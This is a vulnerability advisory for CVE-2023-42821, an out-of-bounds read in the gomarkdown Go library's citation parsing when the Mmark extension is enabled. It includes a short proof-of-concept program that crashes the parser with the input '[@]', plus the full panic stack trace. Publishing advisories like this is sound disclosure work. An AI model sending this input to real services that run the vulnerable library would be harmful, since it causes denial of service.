CVE-2023-42821: github.com/gomarkdown/markdown Out-of-bounds Read while parsing citations

Summary Parsing malformed markdown input with parser that uses parser.Mmark extension could result in out-of-bounds read vulnerability.

Details To exploit the vulnerability, parser needs to have parser.Mmark extension set. The panic occurs inside the citation.go file on the line 69 when the parser tries to access the element past its length.

https://github.com/gomarkdown/markdown/blob/7478c230c7cd3e7328803d89abe591d0b61c41e4/parser/citation.go#L69

PoC go package main

import ( "github.com/gomarkdown/markdown" "github.com/gomarkdown/markdown/parser" )

func main() { ext := parser.CommonExtensions | parser.Attributes | parser.OrderedListStart | parser.SuperSubscript | parser.Mmark p := parser.NewWithExtensions(ext)

inp := []byte("[@]") markdown.ToHTML(inp, p, nil) }

bash $ go run main.go panic: runtime error: index out of range [1] with length 1

goroutine 1 [running]: github.com/gomarkdown/markdown/parser.citation(0x10?, {0x1400000e3f0, 0x14000141801?, 0x3}, 0x0?) /Users/demon/go/pkg/mod/github.com/gomarkdown/markdown@v0.0.0-20230916125811-7478c230c7cd/parser/citation.go:69 +0x544 github.com/gomarkdown/markdown/parser.link(0x14000152000?, {0x1400000e3f0?, 0x3?, 0x3?}, 0x14000141ad8?) /Users/demon/go/pkg/mod/github.com/gomarkdown/markdown@v0.0.0-20230916125811-7478c230c7cd/parser/inline.go:308 +0x1c0 github.com/gomarkdown/markdown/parser.(Parser).Inline(0x14000152000, {0x102d87f48, 0x14000076180}, {0x1400000e3f0, 0x3, 0x3}) /Users/demon/go/pkg/mod/github.com/gomarkdown/markdown@v0.0.0-20230916125811-7478c230c7cd/parser/inline.go:38 +0xb8 github.com/gomarkdown/markdown/parser.(Parser).Parse.func1({0x102d87f48?, 0x14000076180}, 0x0?) /Users/demon/go/pkg/mod/github.com/gomarkdown/markdown@v0.0.0-20230916125811-7478c230c7cd/parser/parser.go:307 +0x8c github.com/gomarkdown/markdown/ast.NodeVisitorFunc.Visit(0x140000106e0?, {0x102d87f48?, 0x14000076180?}, 0x68?) /Users/demon/go/pkg/mod/github.com/gomarkdown/markdown@v0.0.0-20230916125811-7478c230c7cd/ast/node.go:574 +0x38 github.com/gomarkdown/markdown/ast.Walk({0x102d87f48, 0x14000076180}, {0x102d87348, 0x140000106e0}) /Users/demon/go/pkg/mod/github.com/gomarkdown/markdown@v0.0.0-20230916125811-7478c230c7cd/ast/node.go:546 +0x58 github.com/gomarkdown/markdown/ast.Walk({0x102d877b0, 0x14000076120}, {0x102d87348, 0x140000106e0}) /Users/demon/go/pkg/mod/github.com/gomarkdown/markdown@v0.0.0-20230916125811-7478c230c7cd/ast/node.go:557 +0x144 github.com/gomarkdown/markdown/ast.WalkFunc(...) /Users/demon/go/pkg/mod/github.com/gomarkdown/markdown@v0.0.0-20230916125811-7478c230c7cd/ast/node.go:580 github.com/gomarkdown/markdown/parser.(Parser).Parse(0x14000152000, {0x1400000e3f0?, 0x0?, 0x0?}) /Users/demon/go/pkg/mod/github.com/gomarkdown/markdown@v0.0.0-20230916125811-7478c230c7cd/parser/parser.go:304 +0x16c github.com/gomarkdown/markdown.Parse({0x1400000e3f0?, 0x3f?, 0x14000141e38?}, 0x102c6b43c?) /Users/demon/go/pkg/mod/github.com/gomarkdown/markdown@v0.0.0-20230916125811-7478c230c7cd/markdown.go:53 +0x6c github.com/gomarkdown/markdown.ToHTML({0x1400000e3f0?, 0x0?, 0x60?}, 0x0?, {0x0, 0x0}) /Users/demon/go/pkg/mod/github.com/gomarkdown/markdown@v0.0.0-20230916125811-7478c230c7cd/markdown.go:77 +0x30 main.main() /Users/demon/tools/markdowncvepoc/main.go:17 +0x5c exit status 2

Impact Denial of Service / panic